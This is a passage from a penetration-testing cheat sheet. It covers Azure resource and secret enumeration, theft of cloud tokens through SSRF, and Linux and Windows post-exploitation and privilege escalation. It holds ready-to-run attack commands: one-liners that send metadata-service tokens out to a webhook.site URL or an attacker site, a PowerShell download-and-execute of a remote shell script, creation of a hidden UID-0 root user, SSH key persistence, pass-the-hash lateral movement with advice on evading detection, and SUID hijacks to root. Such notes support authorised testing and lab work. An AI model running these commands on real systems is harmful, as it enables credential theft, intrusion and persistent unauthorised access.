--query "{Parameter:name, Status:value}" \
--resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

List all of the maintenances of a flexible server

```bash
az mysql flexible-server maintenance list --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

List log files for a server

```bash
az mysql flexible-server server-logs list --resource-group $RESOURCE_GROUP --server-name $SERVER_NAME
```

### PostgreSQL

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-postgresql.html#enumeration)

Database Servers

```bash
az postgres flexible-server list --output table \
  --query "[].{Server:name, FQDN:fullyQualifiedDomainName, Version:version, Admin:administratorLogin, PublicAccess:network.publicNetworkAccess, EntraAuth:authConfig.activeDirectoryAuth, PwdAuth:authConfig.passwordAuth, Tier:sku.tier}" \
  --resource-group $RESOURCE_GROUP 
```

Databases

```bash
az postgres flexible-server db list \
  --resource-group $RESOURCE_GROUP \
  --server-name $SERVER_NAME \
  --query "[].{Name:name, ResourceGroup:resourceGroup, SystemData:systemData}" \
  --output table
```

Enumerate Firewalls

```bash
az postgres flexible-server firewall-rule list \
  --query "[].{Rule:name, Start:startIpAddress, End:endIpAddress}" \ 
  --output table \
   --resource-group $RESOURCE_GROUP --name $SERVER_NAME
```

### CosmosDB

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-cosmosDB.html#enumeration)

Enumerate Instances

```bash
az cosmosdb list -o table \
  --query "[].{Name:name, Kind:kind, Endpoint:documentEndpoint, PublicAccess:publicNetworkAccess, NetworkBypass:networkAclBypass, Location:location,NoVnet:isVirtualNetworkFilterEnabled, LocalAuth:disableLocalAuth}" \
  --resource-group $RESOURCE_GROUP
```

Obtain keys

```bash
az cosmosdb keys list --resource-group $RESOURCE_GROUP --name $SERVER_NAME
```

### MongoDB

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-cosmosDB.html#enumeration-1)

```bash
az cosmosdb list --resource-group $RESOURCE_GROUP \
  --query "[].{Name:name, Kind:kind, PublicAccess:publicNetworkAccess, LocalAuth:disableLocalAuth, IpRules:ipRules, Endpoint:documentEndpoint}" \
  -o table
```

### App Services

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-app-services.html#enumeration)

```bash
az webapp list --query "[].{Name:name,resourcegroup:resourceGroup, Host:defaultHostName, SCM:enabledHostNames[1], HTTPS_Only:httpsOnly, Runtime:siteConfig.linuxFxVersion || siteConfig.windowsFxVersion,State:state, Public_Access:publicNetworkAccess, Identity:identity.type, ClientCert:clientCertMode,CORS:cors,RemoteDebug:remoteDebuggingEnabled, WebSockets:webSocketsEnabled}" --output json
```

Get the App Settings (API Keys, DB Strings, etc.)

```bash
az webapp config appsettings list --resource-group $RESOURCE_GROUP --name $WEBAPP_NAME
```

Retrieves the publishing profiles

```bash
az webapp deployment list-publishing-profiles \
  --name $WEBAPP_NAME \
  --resource-group $RESOURCE_GROUP \
  --query "[].{Profile:profileName, Method:publishMethod, URL:publishUrl, User:userName, Password:userPWD,SQLServerDBConnectionString:SQLServerDBConnectionString,destinationAppUrl:destinationAppUrl}" \
  -o json
```

### Azure Container Registry

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-container-registry.html#enumeration)

```bash
az acr list --query "[].{Name:name, Server:loginServer, SKU:sku.name, PublicAccess:publicNetworkAccess, AdminUser:adminUserEnabled, AnonPull:anonymousPullEnabled, Region:location}" -o table
```

### Function Apps

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-function-apps.html#enumeration)

```bash
az functionapp list --query "[].{Name:name,defaultHostName:defaultHostName,hostNames:hostNames,hostNamesDisabled:hostNamesDisabled, RG:resourceGroup, Runtime:functionAppConfig.runtime.name, Identity:identity.type, PrincipalID:identity.principalId, StorageURL:functionAppConfig.deployment.storage.value, HTTPS:httpsOnly}" -o json
```

List functions

```bash
az functionapp function list -o table \
  --query "[].{Name:name, Trigger:config.bindings[0].type, Queue:config.bindings[0].queueName, Script:config.scriptFile,functionDirectory:config.functionDirectory,Language:language,href:href}" \
  --name $FUNCTION_NAME --resource-group $RESOURCE_GROUP
```

Get details about the source of the function code

```bash
az functionapp deployment source show \
--name $FUNCTION_NAME --resource-group $RESOURCE_GROUP  
```

Retrieve the publishing profiles for a specific Azure Function App

```bash
az functionapp deployment list-publishing-profiles --name $FUNCTION_NAME --resource-group $RESOURCE_GROUP
```

Get SCM credentials

```
az functionapp deployment list-publishing-credentials --name $FUNCTION_NAME --resource-group $RESOURCE_GROUP   
```

Get function, system and master keys

```bash
az functionapp keys list --name $FUNCTION_NAME --resource-group $RESOURCE_GROUP 
```

### Static Web Apps

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-static-web-apps.html#enumeration)

```bash
az staticwebapp list --query "[].{Name:name, ResourceGroup:resourceGroup, Hostname:defaultHostname, PublicAccess:publicNetworkAccess, SKU:sku.name, Identity:identity, KeyVaultId:keyVaultReferenceIdentity, ConfigUpdates:allowConfigFileUpdates, StagingPolicy:stagingEnvironmentPolicy, Backends:linkedBackends}" --output table
```

Get appsettings

```bash
az staticwebapp appsettings list --name $WEBAPP_NAME
```

Get env information

```bash
az staticwebapp environment list --name $WEBAPP_NAME
az staticwebapp environment functions --name $WEBAPP_NAME
az staticwebapp secrets list --name $WEBAPP_NAME
```

Get current snippets

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Web/staticSites/$WEBAPP_NAME/snippets?api-version=2022-03-01"
```

Get database connections

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Web/staticSites/$WEBAPP_NAME/databaseConnections?api-version=2021-03-01"
```

### Azure Container Registry (ACR)

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-container-registry.html#enumeration)

```bash
az acr list --query "[].{Name:name,loginServer:loginServer, AdminUser:adminUserEnabled, PublicAccess:publicNetworkAccess, AnonPull:anonymousPullEnabled, SKU:sku.tier, TrustPolicy:policies.trustPolicy.status, Encryption:encryption.status, resourceGroup:resourceGroup}" --output table
```

List of all authentication tokens

```bash
az acr token list --registry $ACR_NAME --resource-group $RESOURCE_GROUP
```

Retrieve recently deleted repositories

```bash
az acr repository list-deleted --name $ACR_NAME 
```

Retrieve active repositories

```bash
az acr repository list --name $ACR_NAME --resource-group $RESOURCE_GROUP
```

List tasks runs

```bash
az acr task list --output table \
  --query "[].{Name:name, Identity:identity.type, Source:step.contextPath, Schedule:trigger.timerTriggers[0].schedule, Status:status, imageName:step.imageNames}"  \
   --registry $ACR_NAME 
```

### Azure Container Instances

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.html#enumeration)

```bash
az container list --query "[].{Name:name, ResourceGroup:resourceGroup, FQDN:ipAddress.fqdn, PublicIP:ipAddress.ip, Port:ipAddress.ports[0].port, Identity:identity.type, Image:containers[0].image, OS:osType, Registry:imageRegistryCredentials[0].server}" --output json
```

### Queue Storage

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-queue.html#enumeration)

```bash
az storage account list --query "[].{Name:name, ResourceGroup:resourceGroup, PublicBlob:allowBlobPublicAccess, SharedKey:allowSharedKeyAccess, NetDefaultAction:networkRuleSet.defaultAction, PublicNetwork:publicNetworkAccess, MinTLS:minimumTlsVersion, OAuthOnly:defaultToOAuthAuthentication}" -o table
```

```bash
az storage queue list --account-name $STORAGE_ACCOUNT_NAME [--auth-mode login]
```

### Automation Accounts

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-automation-accounts.html#enumeration)

```bash
az automation account list --output json --query "[].{name:name,description:description,publicNetworkAccess:publicNetworkAccess,privateEndpointConnections:privateEndpointConnections,disableLocalAuth:disableLocalAuth,identity:identity}"
```

Get keys of automation account. These are used for the DSC

```bash
az automation account list-keys --automation-account-name $AUTOMATION_NAME --resource-group $RESOURCE_GROUP
```

Get schedules of automation account

```
az automation schedule list --automation-account-name $AUTOMATION_NAME --resource-group $RESOURCE_GROUP
```

Get jobs of an automation account

```bash
az automation job list --automation-account-name $AUTOMATION_NAME --resource-group $RESOURCE_GROUP
```

Get runbooks of an automation account

```bash
az automation runbook list --automation-account-name $AUTOMATION_NAME --resource-group $RESOURCE_GROUP
```

Get runbook content

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_NAME/runbooks/$RUNBOOK_NAME/content?api-version=2023-11-01"
```

Get variables of automation account. It's possible to get the value of unencrypted variables but not the encrypted ones.

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_NAME/variables?api-version=2023-11-01"
```

Get credentials of automation account

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_NAME/credentials?api-version=2023-11-01"
```

Get credential details. Note that you will only be able to access the password from inside a Runbook

```bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_NAME/credentials/<credential-name>?api-version=2023-11-01"
```

### Service Bus

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-servicebus.html#enumeration)

```bash
az servicebus namespace list -o table --query "[].{name:name,publicNetworkAccess:publicNetworkAccess,serviceBusEndpoint:serviceBusEndpoint,disableLocalAuth:disableLocalAuth,resourceGroup:resourceGroup}"
```

Namespace Enumeration

```bash
az servicebus namespace network-rule-set list --resource-group $RESOURCE_GROUP --namespace-name $BUS_NAME
az servicebus namespace private-endpoint-connection list --resource-group $RESOURCE_GROUP --namespace-name $BUS_NAME
az servicebus namespace exists --name $BUS_NAME
```

Authorization Rule Enumeration

```bash
az servicebus namespace authorization-rule list --resource-group $RESOURCE_GROUP --namespace-name $BUS_NAME --query "[].{name:name,rights:rights}"
az servicebus namespace authorization-rule keys list --resource-group $RESOURCE_GROUP --namespace-name $BUS_NAME 
```

Queue Enumeration

```bash
az servicebus queue list --resource-group $RESOURCE_GROUP --namespace-name $BUS_NAME 
```

Topic Enumeration

```bash
az servicebus topic list \
  --resource-group $RESOURCE_GROUP \
  --namespace-name $BUS_NAME \
  --query "[].{TopicName:name, Status:status, ActiveMsgs:countDetails.activeMessageCount, DeadLetterMsgs:countDetails.deadLetterMessageCount, Partitioning:enablePartitioning}" \
  --output table
```

Susbscription Enumeration

```bash
az servicebus topic subscription list \
  --resource-group $RESOURCE_GROUP \
  --namespace-name $BUS_NAME \
  --topic-name labtopic \
  --query "[].{Subscription:name, Status:status, ActiveCount:countDetails.activeMessageCount, DeadLetterCount:countDetails.deadLetterMessageCount, RequiresSession:requiresSession}" \
  --output table
```

### Logic Apps

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-logic-apps.html#enumeration)

### Virtual Desktop

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-virtual-desktop.html#enumeration)

```bash
az desktopvirtualization hostpool list   --query "[].{Name:name, description:description, ResourceGroup:resourceGroup, Type:hostPoolType, LBType:loadBalancerType, MaxSessions:maxSessionLimit, AADJoin:customRdpProperty}"   --output table
```

### Monitoring Logs

[Enumeration Commands](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/az-monitoring.html#enumeration)

## Get The Flag

### KeyVault

```bash
KEYVAULT_NAME=$(az keyvault list --query "[0].name" -o tsv)
SECRET_NAME=$(az keyvault secret list --vault-name "$KEYVAULT_NAME" --query "[0].name" -o tsv)
az keyvault secret show --vault-name "$KEYVAULT_NAME" --name "$SECRET_NAME"
```

### Blob

```bash
STORAGE_ACCOUNT_NAME=$(az storage account list --resource-group iam-azure-labs --query "[0].name" -o tsv)
az storage container list \
--account-name $STORAGE_ACCOUNT_NAME \
--auth-mode login
az storage blob download \
--account-name $STORAGE_ACCOUNT_NAME \
--container-name flag \
--name flag.txt \
--file flag.txt \
--auth-mode login
cat flag.txt
```

## SSRF

[More Azure SSRF Information](https://hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm)

### Obtain tokens

Manual

```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```

**Bash**: Exfiltrate all the tokens

```bash
r="http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource="; h="Metadata:true"; json="{"; 
for res in "https://management.azure.com/" "https://graph.microsoft.com/" "https://vault.azure.net/" "https://storage.azure.com/"; do token=$(curl -s -f -H "$h" "${r}${res}" | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p'); json+="\"$res\":\"$token\","; done; json="${json%,}}"; curl -s -X POST -H "Content-Type: application/json" -d "$json" "https://webhook.site/9f90f8a5-2218-4da7-8810-4d9244530223"
```

**PowerShell**: Exfiltrate all the tokens

```powershell
$h=@{Metadata='true'};$u='http://169.254.169.254/metadata/identity/oauth2/token';$v='2018-02-01';$r=@('https://management.azure.com/','https://graph.microsoft.com/','https://vault.azure.net/','https://storage.azure.com/');$tokens=@{};$r|%{$tokens[$_]=((Invoke-RestMethod -Uri "$u`?api-version=$v&resource=$_" -Headers $h -Method Get).access_token)};Invoke-WebRequest -Uri "https://<MALICIOUS_WEBSITE>/exfil" -Method POST -Body ($tokens|ConvertTo-Json) -ContentType 'application/json'
```

#### Azure App & Functions Services & Automation Accounts

From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server.

```bash
TOKEN=$(wget -qO- --header "X-IDENTITY-HEADER: $IDENTITY_HEADER" "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2019-08-01" | python3 -c 'import json,sys; print(json.load(sys.stdin)["access_token"])')
```

### Bash

Examples:

**Curl**

```bash
# Obtain a token 
ACCESS_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r .access_token)

# Perform a request to the Azure API
curl -s -X GET "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=2023-03-01"  -H "Authorization: Bearer $ACCESS_TOKEN" | jq .identity
```

**Wget**

```bash
# Obtain a token
TOKEN=$(wget -qO- --header "X-IDENTITY-HEADER: $IDENTITY_HEADER" "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2019-08-01" | python3 -c 'import json,sys; print(json.load(sys.stdin)["access_token"])')


wget -qO- --header "Authorization: Bearer $TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets/$SECRET_NAME?api-version=2016-10-01"
```

### PowerShell

Examples

```powershell
$armToken = Invoke-RestMethod `
  -Headers @{Metadata="true"} `
  -Method GET `
  -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Verify the token was received
echo $armToken.access_token

# 1. Grab the subscription ID from the instance metadata
$instanceInfo = Invoke-RestMethod -Headers @{Metadata="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
$subId = $instanceInfo.compute.subscriptionId

# 2. Define the ARM API endpoint for Key Vaults
$uri = "https://management.azure.com/subscriptions/$subId/providers/Microsoft.KeyVault/vaults?api-version=2023-07-01"

# 3. Query the endpoint
$headers = @{Authorization = "Bearer $($armToken.access_token)"}
$vaults = Invoke-RestMethod -Method GET -Headers $headers -Uri $uri

# 4. Display the results cleanly
$vaults.value | Select-Object name, resourceGroup, location

$token = Invoke-RestMethod `
  -Headers @{Metadata="true"} `
  -Method GET `
  -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
echo "ACCESS_TOKEN=$($token.access_token)"

$secrets = Invoke-RestMethod -Method GET -Headers @{Authorization = "Bearer $($token.access_token)"} -Uri "https://$($vaults.value.name).vault.azure.net/secrets?api-version=7.4"
$flagName = ($secrets.value | Where-Object { $_.id -match "flag" }).id
echo "FLAG_URI=$($flagName)"
(Invoke-RestMethod -Headers @{"Authorization"="Bearer $($token.access_token)"} -URI "$($flagName)?api-version=7.4").value | Out-String
```

## MiTM

```bash
wget http://127.0.0.1:8080/cert -O ~/Downloads/cacert.der
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM

export REQUESTS_CA_BUNDLE=/home/test/Downloads/cacert.pem
export PYTHONWARNINGS="ignore:Unverified HTTPS request"
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"

```

## Tools

* [azure-cli-mitm](https://github.com/Marmeus/azure-cli-mitm): Proxy to intercept Azure CLI REST communications and append or modify `Authorization` Bearer tokens per Azure service domain.
* [AzurePEAS](https://github.com/peass-ng/CloudPEASS): Enumerates the principals permissions within your Azure and Entra ID environments, with a special focus on detecting privilege escalation pathways and identifying potential security risks.
* [CloudSploit](https://github.com/aquasecurity/cloudsploit): Open-source project designed to allow detection of security risks in cloud infrastructure accounts.
* [Cloudfox](https://github.com/BishopFox/cloudfox): Helps you gain situational awareness in unfamiliar cloud environments.
* [Azure CLI](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest#install)
* [Azure PowerShell AZ Module](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell?view=azps-15.5.0)
* [Microsoft Graph PowerShell](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0)
* [PowerShell In Linux](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-enumeration-tools.html#install-powershell-in-linux)
* [Install the sqlcmd and bcp](https://learn.microsoft.com/en-us/sql/linux/sql-server-linux-setup-tools?view=sql-server-ver17\&tabs=ubuntu-install%2Codbc-ubuntu-2204#ubuntu)


# General

General commands that con be handy during your post exploitation phase.


# Linux

## Introduction

In this section, you will find several useful commands for the Post-Exploitation phase in Linux systems.

## User

### Creating a user

```bash
sudo useradd [-m] <USERNAME>
```

### Add a user to a group

```bash
sudo usermod -aG <GROUP> <USERNAME>
```

### Create an alternative root user

```bash
useradd -m -ou 0 -g 0 -p <ENCRYPTED_PASSWORD> -s /bin/bash <USERNAME>
```

## Login through SSH

There are times when we have a remote terminal as a user but we want to have access as that user via SSH although **we do not know** their **password**. SSH keys are used for these cases.

1. Generate a SSH key pair.

```bash
kali@kali:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
[...]
```

1. Add the public key to the victim's file `~/.ssh/authorized_keys`:

```bash
echo -e "\n<PUB_KEY>\n" >> ~/.ssh/authorized_keys
```

1. Log in.

```bash
ssh -i ~/.ssh/id_rsa <USERNAME>@<IP>
```

## Shell Escapes

It could be the case that you have obtained access to a restricted shell allowing you to perform a minimal amount of commands and preventing you from accessing other directories or files.

In this section, you will find some ways to escape those restricted shells.

### SSH

```bash
ssh <USERNAME>@<TARGET_I -t "bash --noprofile -i"
```

### Python Jail

```bash
echo os.system('/bin/bash')
```

For more examples of how to escape restricted shells, read the following articles.

* [rbash escape | rbash restricted shell escape](https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/)
* [Escaping Restricted Linux Shells](https://www.sans.org/blog/escaping-restricted-linux-shells/)
* [Escaping python jails](https://anee.me/escaping-python-jails-849c65cf306e)


# Windows

## Introduction

In this section, you will find several useful commands for the Post-Exploitation phase in Windows systems.

## User

### Creating a user

```bash
net user <USERNAME> <PASSWORD> /add
```

### Add a user to a group

```bash
net localgroup Administrators <USERNAME> /add
```

### Add a user to the RDP group

By default, you cannot log in as a user through RDP unless it is a member of the "Remote Management Users" group.

```bash
net localgroup "Remote Management Users" <USERNAME> /add
```

### Powershell credentials and how to use them

If you have obtained some credentials and want to perform an action impersonating the actual account, you can use PowerShell.

```powershell
# Storing the credentials as variables
$pass = ConvertTo-SecureString '<PASSWORD>' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $pass)
# Launch a process
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:5555/shell-admin.ps1')" -Credential $cred
```

## Recursive Grep (Powershell)

There is not a grep command on the Windows system, but thanks to PowerShell we can achieve something similar.

```powershell
Get-ChildItem -Recurse [-Include *.config,*.txt,*.ini] [-Exclude *.dll,*.exe,*.jar] | Select-String "<STRING>" -List | Select-Object -ExpandProperty Path | Out-String
# Shorter version
dir -recurse *.* | sls -pattern "foobar" | select -unique path
```

## Remote Command Execution

During a pentest, it is quite common to obtain credentials that can be used for getting access to other machines. However, most Windows machines will lack of CLI services like SSH to execute commands remotely. Nonetheless, there are other Windows services that can be used to perform the same actions.

### WinRM

**Port**: 5985

Windows Remote Management (WinRM) is a protocol that allows systems to access and exchange management information. An attacker can use this protocol to obtain RCE.

In order to check who can use the WinRM Protocol run the following command.

```powershell
(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
# If the service is disable, you can enable with the following command
Enable-PSRemoting -Force  
```

During the session, the commands you type are executed on the remote computer, as if you were typing directly on the remote computer, but you can have only one interactive session at a time.

```powershell
$pass = ConvertTo-SecureString '<PASSWORD>' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $pass)
Enter-PSSession -Computername <IP> -Credential <CRENTIAL>
```

As an alternative, you can use tools like **evil-winrm** or **crackmapexec** to execute commands.

```bash
evil-winrm -u USERNAME {-p <PASSWORD> | -H <HASH>} -i TARGET_IP
crackmapexec winrm <IP> -d <Domain Name> -u <USER> {-H <HASH> | -p <PASSWORD>} -X 'whoami'
```

### Remote Desktop (RDP)

**Port**: 3389

If the user is a member of the "Remote Management Users" group and port 3389 is available, an attacker with the users' credentials could connect to the victim's computer.

```bash
rdesktop -u <USER> -p '<PASSWORD>' <IP>
xfreerdp +compression +toggle-fullscreen +clipboard /cert-ignore /dynamic-resolution  /u:<USERNAME> /p:'<PASSWORD>' /v:IP
```

> :warning: Use Impacket `tstool` to check if the user is already connected, avoiding been detected.
>
> ```bash
> impacket-tstool.py '<DOMAIN>/<USERNAME>:<PASSWORD>'@<IP> qwinsta
> SESSIONNAME  USERNAME                 ID  STATE         Desktop   ConnectTime          DisconnectTime
> ============ ======================== === ============= ========= ==================== ====================
> Services                              0   Disconnected            None                 None
> Console                               1   Connected     Locked    2025/03/02 13:52:43  None
> RDP-Tcp#0    .\Administrator          2   Active        Unlocked  2025/03/03 07:23:07  2025/03/03 07:23:07
> ```

* `/dynamic-resolution`: This allows us to change the size of the window, adjusting the resolution of the lens in the process.
* `/size: WIDTHxHEIGHT`: Set a specific size for machines that do not automatically resize with `/dynamic-resolution`.
* `+clipboard`: Enables the use of clipboards.
* `/drive:<LOCAL_DIRECTORY>,<SHARE_NAME>`: Creates a shared drive between the attacking machine and the target.

**Note:** A useful directory to share is the `/usr/share/windows-resources` directory in Kali, because it contains several Windows tools like Mimikatz.

### SMB

**Port**: 445

The SMB service can always allow an attacker to execute remote code against a windows system, as long as you have a valid account on that machine with sufficient permissions to create and run a service.

There are different tools that can achieve this goal, each one in its own way.

### PSEXEC

Uploads to `ADMIN$` a service binary with an arbitrary name. The obtained reverse shell is not interactive thus programs like PowerShell, vssadmin and plink will cause the service to fail.

Furthermore, there is a high probability of being detected by AVs or EDRs.

```bash
psexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>
```

### SmbExec

Creates a service in the same way as psexec but it does not drop any binary on the host so it is stealthier than psexec. However, it is still a non-interactive shell.

```bash
smbexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>
```

### Crackmapexec

```bash
# Execute Powershell
crackmapexec smb 10.10.10.10 -u '<username>' -p '<password>' -X '$PSVersionTable' 
# Excute command
crackmapexec smb 10.10.10.10 -u '<username>' -p '<password>' -x whoami 
# Pass-the-Hash
crackmapexec smb 10.10.10.10 -u '<username>' -H <NTHASH> -x whoami 
```

### WMiexec

It creates a semi-interactive shell without installing any service or agent, being the stealthiest of the before mentioned.

```bash
wmiexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>
```


# Local Privilege Escalation

Privilege escalation occurs when an attacker exploits a bug, a design flaw or a misconfiguration in a software being executed with higher privileges to gain access to protected resources or gain code execution with elevated privileges.

Nonetheless, there are two types of privilege escalation:

* **Vertical privilege escalation**: This is the actual privilege elevation, where an attacker with lower permissions can access functions or content reserved for higher privilege users. For example, an attacker can read the file `/etc/shadow` on a system thanks to a path traversal vulnerability in an application being executed as root.
* **Horizontal privilege escalation**: The horizontal privilege escalation, pretty common in lateral movements techniques, occurs when an attacker takes over other accounts with almost the same privileges as the attacker. For example, an attacker can obtain an NTLM hash of one user on an AD environment to access a different computer.


# Linux

## Introduction

This section contains a set of techniques that can be used to perform privilege escalation on Linux systems.

## Tools

This subsection contains valuable tools to identify potential privilege escalation vectors.

* [Linpeas](https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh): Search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts.
* [LinEnum](https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh): Scripted Local Linux Enumeration & Privilege Escalation Checks.
* [LinuxExploitSuggester](https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh): Detects known vulnerabilities in the Linux kernel.
* [Linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker): Enumerate basic system info and search for common privilege escalation vectors such as writable files, misconfigurations, clear-text passwords and applicable exploits.
* [PsPy](https://github.com/DominicBreuker/pspy/): Monitor Linux processes without root permissions
* **Local Exploit Suggester**: Metasploit module (`post/multi/recon/local_exploit_suggester`) for meterpreter sessions enumerates the system looking for potential privilege escalation vectors.

## SUIDs Files

SUID file permission allows users to run an executable with the system permissions of the executable's owner or group.

Find SUIDs files with the following commands:

```bash
find / -perm -u=s -type f -exec ls -la {} + 2>/dev/null
find / -perm /4000 2>/dev/null
```

Once, the SUID file has been detected, look for it on [GTFobins](https://gtfobins.github.io/#+suid) where you can find several ways to exploit the binary, escalating privileges.

### Absolute path

There might be a case where a SUID binary executes a program indicating the whole path.

```bash
user@pwnbox:~$ strings /usr/local/bin/LaunchApache
[...]
/usr/sbin/service apache2 start
```

You can export a function named as the whole path command, obtaining a shell as the suid user.

```bash
user@pwnbox:~$ function /usr/sbin/service() {  /bin/bash -p; }
user@pwnbox:~$ export -f /usr/sbin/service
user@pwnbox:~$ /usr/local/bin/LaunchApache
root@debian:~# id
```

### Relative path

If there is a SUID file that executes a command with a relative path, as you can see below, an attacker can change the PATH to run a malicious file.

```bash
user@pwnbox:~$ ls -la script 
-rwsr-xr-x 1 root root 1003 Jun  4  2021 script
user@pwnbox:~$ ltrace ./script 
setuid(0)= -1
setgid(0)= -1
system("ls")
```

In order to exploit the vulnerability, look at this example.

```bash
user@pwnbox:~$ echo -e '#!/bin/bash\nbash -p' > /tmp/ls
user@pwnbox:~$ chmod +x /tmp/ls
user@pwnbox:~$ PATH=/tmp:$PATH
user@pwnbox:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
user@machine:~$ ./script 
root@machine:~# 
```

### Shared Object Injection

When a binary is executed, it will seek to load the necessary objects. You can use **strace** in order to track the needed shared objects.

If a shared object is not found, you can create a malicious object to spawn a shell.

```bash
user@pwnbox:~$  find / -type f -perm -04000 -ls 2>/dev/null  
816078   12 -rwsr-sr-x   1 root     staff        9861 May 14  2017 /usr/local/bin/suid
user@pwnbox:~$ strace /usr/local/bin/suid 2>&1 | grep -i -E "open|access|no such file"
[...]
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
